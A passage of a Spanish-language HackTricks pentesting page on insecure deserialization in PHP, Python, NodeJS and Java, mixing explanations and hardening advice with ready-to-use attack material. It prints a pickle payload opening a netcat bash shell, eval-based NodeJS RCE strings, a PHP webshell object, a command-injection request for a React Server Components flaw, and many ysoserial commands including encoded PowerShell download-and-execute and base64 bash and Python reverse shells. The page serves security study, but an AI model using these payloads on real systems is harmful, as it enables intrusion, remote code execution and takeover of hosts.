Deserialización

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Serialización se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda recrearse más adelante, manteniendo su estructura y estado.

Deserialización, por el contrario, es el proceso que invierte la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.

La deserialización puede ser peligrosa porque potencialmente permite a atacantes manipular los datos serializados para ejecutar código dañino o causar comportamientos inesperados en la aplicación durante el proceso de reconstrucción del objeto.

PHP

En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización:

  • __sleep: Se invoca cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben serializarse. Se usa comúnmente para confirmar datos pendientes o realizar tareas de limpieza similares.
  • __wakeup: Se llama cuando un objeto está siendo deserializado. Se utiliza para restablecer conexiones a bases de datos que puedan haberse perdido durante la serialización y realizar otras tareas de re-inicialización.
  • __unserialize: Este método se llama en lugar de __wakeup (si existe) cuando se está deserializando un objeto. Ofrece más control sobre el proceso de deserialización comparado con __wakeup.
  • __destruct: Este método se invoca cuando un objeto está a punto de destruirse o cuando termina el script. Se usa típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos.
  • __toString: Este método permite tratar un objeto como una cadena. Puede usarse para leer un archivo u otras tareas basadas en las llamadas a funciones dentro de él, proporcionando efectivamente una representación textual del objeto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si miras los resultados puedes ver que las funciones __wakeup y __destruct se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función __toString se llama al intentar imprimir algún atributo, pero aparentemente eso ya no ocurre.

Warning

El método __unserialize(array $data) se llama en lugar de __wakeup() si está implementado en la clase. Permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar las tareas necesarias tras la deserialización.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Puedes leer un ejemplo explicado de PHP aquí: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aquí https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o aquí https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Podrías abusar de la funcionalidad autoload de PHP para cargar archivos php arbitrarios y más:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Los synthesizers de Livewire 3 pueden ser forzados a instanciar grafos de gadgets arbitrarios (con o sin APP_KEY) para alcanzar Laravel Queueable/SerializableClosure sinks:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

Si por alguna razón quieres serializar un valor como una referencia a otro valor serializado puedes:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Prevención de PHP Object Injection con allowed_classes

[!INFO] El soporte para el segundo argumento de unserialize() (el array $options) se añadió en PHP 7.0. En versiones antiguas la función solo acepta la cadena serializada, lo que hace imposible restringir qué clases pueden ser instanciadas.

unserialize() instanciará cada clase que encuentre dentro del flujo serializado a menos que se le indique lo contrario. Desde PHP 7, el comportamiento puede restringirse con la opción allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Si allowed_classes se omite o el código se ejecuta en PHP < 7.0, la llamada se vuelve peligrosa ya que un atacante puede crear un payload que abuse de métodos mágicos como __wakeup() o __destruct() para lograr Remote Code Execution (RCE).

Ejemplo real: Everest Forms (WordPress) CVE-2025-52709

El plugin de WordPress Everest Forms ≤ 3.2.2 intentó ser defensivo con un wrapper auxiliar pero se olvidó de las versiones antiguas de PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

En servidores que aún ejecutaban PHP ≤ 7.0, esta segunda rama llevó a una clásica PHP Object Injection cuando un administrador abría un envío de formulario malicioso. Un exploit payload mínimo podría verse así:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Tan pronto como el administrador vio la entrada, el objeto fue instanciado y SomeClass::__destruct() se ejecutó, resultando en ejecución de código arbitrario.

Puntos clave

  1. Siempre pasa ['allowed_classes' => false] (o una lista blanca estricta) al llamar a unserialize().
  2. Audita los wrappers defensivos – a menudo olvidan las ramas legacy de PHP.
  3. Actualizar a PHP ≥ 7.x por sí solo no es suficiente: la opción todavía debe proporcionarse explícitamente.

PHPGGC (ysoserial for PHP)

PHPGGC puede ayudarte a generar payloads para abusar de PHP deserializations.
Ten en cuenta que en varios casos no podrás encontrar una forma de abusar de una deserialization en el código fuente de la aplicación, pero podrías ser capaz de abusar del código de extensiones PHP externas.
Así que, si puedes, revisa el phpinfo() del servidor y busca en Internet (e incluso en los gadgets de PHPGGC) algunos posibles gadget que puedas abusar.

phar:// metadata deserialization

Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código php dentro de él, por ejemplo usando funciones como file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Puedes intentar abusar de una deserialization que ocurra al leer un archivo usando el protocolo phar.
Para más información lee el siguiente post:

phar:// deserialization

Python

Pickle

Cuando el objeto es unpickleado, la función ___reduce___ será ejecutada.
Cuando se explota, el servidor podría devolver un error.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Antes de comprobar la técnica de bypass, intenta usar print(base64.b64encode(pickle.dumps(P(),2))) para generar un objeto compatible con python2 si estás ejecutando python3.

Para más información sobre cómo escapar de las pickle jails consulta:

Bypass Python sandboxes

Yaml & jsonpickle

La página siguiente presenta la técnica para abusar de una deserialización insegura en bibliotecas python para yamls y termina con una herramienta que puede usarse para generar payloads de RCE por deserialización para Pickle, PyYAML, jsonpickle y ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS no tiene funciones “mágicas” como PHP o Python que se ejecuten solo por crear un objeto. Pero tiene algunas funciones que se usan frecuentemente incluso sin llamarlas directamente como toString, valueOf, toJSON.
Si abusas de una deserialización puedes comprometer estas funciones para ejecutar otro código (potencialmente aprovechando prototype pollutions) y podrías ejecutar código arbitrario cuando se llamen.

Otra forma “mágica” de llamar a una función sin llamarla directamente es comprometer un objeto que es devuelto por una función async (promise). Porque, si transformas ese objeto de retorno en otra promise con una propiedad llamada “then” de tipo function, se ejecutará simplemente porque es devuelto por otra promise. Sigue este enlace para más info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ y prototype pollution

Si quieres aprender sobre esta técnica echa un vistazo al siguiente tutorial:

NodeJS - proto & prototype Pollution

node-serialize

Esta librería permite serializar funciones. Ejemplo:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

El objeto serializado se verá así:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Puedes ver en el ejemplo que cuando una función se serializa la bandera _$$ND_FUNC$$_ se añade al objeto serializado.

Dentro del fichero node-serialize/lib/serialize.js puedes encontrar la misma bandera y cómo el código la está utilizando.

Como puedes ver en el último fragmento de código, si se encuentra la bandera se usa eval para deserializar la función, así que básicamente la entrada del usuario se está usando dentro de la función eval.

Sin embargo, solo serializar una función no la ejecutará, ya que sería necesario que alguna parte del código llame a y.rce en nuestro ejemplo y eso es altamente improbable.
De todas formas, puedes simplemente modificar el objeto serializado añadiendo algunos paréntesis para que la función serializada se autoejecute cuando el objeto sea deserializado.
En el siguiente fragmento de código fíjate en el último paréntesis y en cómo la función unserialize ejecutará automáticamente el código:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Como se indicó anteriormente, esta biblioteca obtendrá el código después de _$$ND_FUNC$$_ y lo ejecutará usando eval. Por lo tanto, para autoejecutar código puedes eliminar la parte de creación de la función y el último paréntesis y simplemente ejecutar un JS oneliner como en el siguiente ejemplo:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Puedes find here más información sobre cómo explotar esta vulnerabilidad.

funcster

Un aspecto notable de funcster es la inaccesibilidad de los objetos incorporados estándar; quedan fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, provocando excepciones como "ReferenceError: console is not defined" cuando se usan comandos como console.log() o require(something).

A pesar de esta limitación, la restauración del acceso completo al contexto global, incluidos todos los objetos incorporados estándar, es posible mediante un enfoque específico. Al aprovechar el contexto global directamente, se puede eludir esta restricción. Por ejemplo, el acceso puede restablecerse usando el siguiente fragmento:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Para más información lea esta fuente.

serialize-javascript

El paquete serialize-javascript está diseñado exclusivamente para propósitos de serialización y carece de capacidades de deserialización integradas. Los usuarios son responsables de implementar su propio método de deserialización. El uso directo de eval es sugerido por el ejemplo oficial para deserializar datos serializados:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Si esta función se usa para deserializar objetos puedes explotarla fácilmente:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Para más información lee esta fuente.

Cryo library

En las siguientes páginas puedes encontrar información sobre cómo abusar de esta library para ejecutar comandos arbitrarios:

React Server Components / react-server-dom-webpack Abuso de Server Actions (CVE-2025-55182)

React Server Components (RSC) dependen de react-server-dom-webpack (RSDW) para decodificar los envíos de server action que se envían como multipart/form-data. Cada envío de acción contiene:

  • partes $ACTION_REF_<n> que referencian la acción invocada.
  • partes $ACTION_<n>:<m> cuyo cuerpo es JSON como {"id":"module-path#export","bound":[arg0,arg1,...]}.

En la versión 19.2.0 el helper decodeAction(formData, serverManifest) confía ciegamente tanto en la cadena id (que selecciona qué export del módulo invocar) como en el array bound (los argumentos). Si un atacante puede alcanzar el endpoint que reenvía peticiones a decodeAction, puede invocar cualquier server action exportada con parámetros controlados por el atacante incluso sin un front-end React (CVE-2025-55182). La receta de extremo a extremo es:

  1. Averiguar el identificador de la acción. La salida del bundle, trazas de error o leaked manifests suelen revelar cadenas como app/server-actions#generateReport.
  2. Recrear la carga multipart. Construye una parte $ACTION_REF_0 y un cuerpo JSON $ACTION_0:0 que contenga el identificador y argumentos arbitrarios.
  3. Dejar que decodeAction lo despache. El helper resuelve el módulo desde serverManifest, importa la exportación y devuelve un callable que el servidor ejecuta inmediatamente.

Ejemplo de payload que llega a /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

O con curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

El array bound llena directamente los parámetros de server-action. En el laboratorio vulnerable el gadget se ve así:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Suministrar format = "pdf & whoami" hace que /bin/sh -c ejecute el generador de informes legítimo y luego whoami, con ambas salidas entregadas dentro de la respuesta JSON de la action. Cualquier server action que envuelva primitivas del sistema de archivos, controladores de base de datos u otros intérpretes puede ser abusada de la misma manera una vez que el atacante controla los datos bound.

Un atacante nunca necesita un cliente React real—cualquier herramienta HTTP que emita la forma multipart $ACTION_* puede llamar directamente a server actions y encadenar la salida JSON resultante en un primitivo RCE.

Java - HTTP

En Java, deserialization callbacks are executed during the process of deserialization. Esta ejecución puede ser explotada por atacantes que construyan payloads maliciosos que activen estos callbacks, conduciendo a la posible ejecución de acciones dañinas.

Huellas

White Box

Para identificar posibles vulnerabilidades de serialization en el código, busca:

  • Clases que implementan la interfaz Serializable.
  • Uso de java.io.ObjectInputStream, y de las funciones readObject, readUnshare.

Presta especial atención a:

  • XMLDecoder utilizado con parámetros definidos por usuarios externos.
  • El método fromXML de XStream, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialization.
  • ObjectInputStream combinado con el método readObject.
  • Implementación de métodos como readObject, readObjectNodData, readResolve, o readExternal.
  • ObjectInputStream.readUnshared.
  • Uso general de Serializable.

Black Box

Para pruebas Black Box, busca firmas o “Magic Bytes” específicas que indiquen objetos java serializados (originados por ObjectInputStream):

  • Patrón hexadecimal: AC ED 00 05.
  • Patrón Base64: rO0.
  • Cabeceras de respuesta HTTP con Content-type establecido a application/x-java-serialized-object.
  • Patrón hexadecimal que indica compresión previa: 1F 8B 08 00.
  • Patrón Base64 que indica compresión previa: H4sIA.
  • Archivos web con la extensión .faces y el parámetro faces.ViewState. Encontrar estos patrones en una aplicación web debería motivar un examen como se detalla en el post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Comprobar si es vulnerable

Si quieres learn about how does a Java Deserialized exploit work deberías echar un vistazo a Basic Java Deserialization, Java DNS Deserialization, y CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Las codebases modernas a veces envuelven la deserialization con java.security.SignedObject y validan una firma antes de llamar a getObject() (que deserializa el objeto interno). Esto previene arbitrary top-level gadget classes pero aún puede ser explotable si un atacante puede obtener una firma válida (e.g., private-key compromise or a signing oracle). Además, los flujos de manejo de errores pueden mint session-bound tokens para usuarios unauthenticated, exponiendo otherwise protected sinks pre-auth.

Para un estudio de caso concreto con requests, IoCs y guías de hardening, ver:

Java Signedobject Gated Deserialization

White Box Test

Puedes comprobar si hay alguna aplicación instalada con vulnerabilidades conocidas.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Podrías intentar comprobar todas las librerías conocidas por ser vulnerables y para las que Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
También podrías usar gadgetinspector para buscar posibles gadget chains que puedan ser explotadas.
Al ejecutar gadgetinspector (después de compilarlo) no te preocupes por la gran cantidad de warnings/errors por los que pasa y deja que termine. Escribirá todos los hallazgos en gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Por favor, ten en cuenta que gadgetinspector won’t create an exploit and it may indicate false positives.

Prueba de caja negra

Usando la extensión de Burp gadgetprobe puedes identificar which libraries are available (and even the versions). Con esta información podría ser más fácil elegir un payload para explotar la vulnerabilidad.
Read this to learn more about GadgetProbe.
GadgetProbe está enfocado en ObjectInputStream deserializations.

Usando la extensión de Burp Java Deserialization Scanner puedes identify vulnerable libraries exploitable with ysoserial y exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner está enfocado en deserializaciones de ObjectInputStream.

También puedes usar Freddy para detect deserializations vulnerabilities en Burp. Este plugin detectará not only ObjectInputStream related vulnerabilities pero also vulnerabilidades de librerías de deserialización Json y Yml. En modo activo intentará confirmarlas usando payloads de sleep o DNS.
You can find more information about Freddy here.

Prueba de serialización

No todo consiste en comprobar si el servidor usa alguna librería vulnerable. A veces podrías ser capaz de cambiar los datos dentro del objeto serializado y eludir algunas comprobaciones (quizá obtener privilegios de administrador dentro de una webapp).
Si encuentras un objeto Java serializado siendo enviado a una aplicación web, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Saber qué datos estás enviando facilitaría modificarlos y eludir algunas comprobaciones.

Exploit

ysoserial

La herramienta principal para explotar deserializaciones Java es ysoserial (download here). También puedes considerar usar ysoseral-modified que te permitirá usar comandos complejos (con pipes, por ejemplo).
Ten en cuenta que esta herramienta está focused en explotar ObjectInputStream.
Yo empezaría usando el “URLDNS” payload antes de un RCE payload para probar si la inyección es posible. De todos modos, ten en cuenta que puede que el payload “URLDNS” no funcione pero otro payload RCE sí.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Al crear un payload para java.lang.Runtime.exec() no puedes usar caracteres especiales como “>” o “|” para redirigir la salida de una ejecución, “$()” para ejecutar comandos o incluso pasar argumentos a un comando separados por espacios (puedes hacer echo -n "hello world" pero no puedes hacer python2 -c 'print "Hello world"'). Para codificar correctamente el payload puedes use this webpage.

Siéntete libre de usar el siguiente script para crear all the possible code execution payloads para Windows y Linux y luego probarlos en la página web vulnerable:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puedes usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto con ysoserial para crear más exploits. Más información sobre esta herramienta en las diapositivas de la charla donde se presentó: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec se puede usar para generar payloads para explotar diferentes librerías de serialización Json y Yml en Java.
Para compilar el proyecto necesité agregar estas dependencias a pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instala maven, y compila el proyecto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lee más sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorios

Por qué

Java utiliza mucha serialización para diversos propósitos como:

  • HTTP requests: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
  • RMI (Remote Method Invocation): El protocolo Java RMI, que depende totalmente de la serialización, es una piedra angular para la comunicación remota en aplicaciones Java.
  • RMI over HTTP: Este método se utiliza comúnmente en aplicaciones web de cliente pesado basadas en Java, empleando la serialización para todas las comunicaciones de objetos.
  • JMX (Java Management Extensions): JMX utiliza la serialización para transmitir objetos a través de la red.
  • Custom Protocols: En Java, la práctica habitual implica la transmisión de objetos Java “raw”, lo cual se demostrará en próximos ejemplos de exploit.

Prevención

Objetos transient

Una clase que implementa Serializable puede marcar como transient cualquier objeto dentro de la clase que no deba ser serializable. Por ejemplo:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitar la serialización de una clase que necesita implementar Serializable

En escenarios donde ciertos objetos deben implementar la interfaz Serializable debido a la jerarquía de clases, existe el riesgo de deserialización no intencional. Para prevenirlo, asegúrate de que estos objetos no sean deserializables definiendo un método final readObject() que siempre lance una excepción, como se muestra a continuación:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Mejorando la seguridad de Deserialization en Java

Personalizar java.io.ObjectInputStream es un enfoque práctico para asegurar los procesos de deserialization. Este método es adecuado cuando:

  • El código de deserialization está bajo tu control.
  • Las clases esperadas para deserialization son conocidas.

Sobrescribe el método resolveClass() para limitar la deserialization únicamente a clases permitidas. Esto evita la deserialization de cualquier clase excepto las explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialization solo a la clase Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement ofrece una solución alternativa cuando la modificación del code no es posible. Este método se aplica principalmente para blacklisting harmful classes, usando un parámetro de la JVM:

-javaagent:name-of-agent.jar

Proporciona una forma de asegurar la deserialización de forma dinámica, ideal para entornos donde cambios de código inmediatos son imprácticos.

Consulta un ejemplo en rO0 by Contrast Security

Implementación de filtros de serialización: Java 9 introdujo filtros de serialización a través de la interfaz ObjectInputFilter, proporcionando un mecanismo potente para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros pueden aplicarse de forma global o por stream, ofreciendo un control granular sobre el proceso de deserialización.

Para utilizar los filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para streams específicos. Por ejemplo:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Aprovechando bibliotecas externas para mejorar la seguridad: Bibliotecas como NotSoSerial, jdeserialize y Kryo ofrecen funcionalidades avanzadas para controlar y monitorizar la deserialización en Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como permitir/denegar clases, analizar objetos serializados antes de la deserialización e implementar estrategias de serialización personalizadas.

  • NotSoSerial intercepta procesos de deserialización para evitar la ejecución de código no confiable.
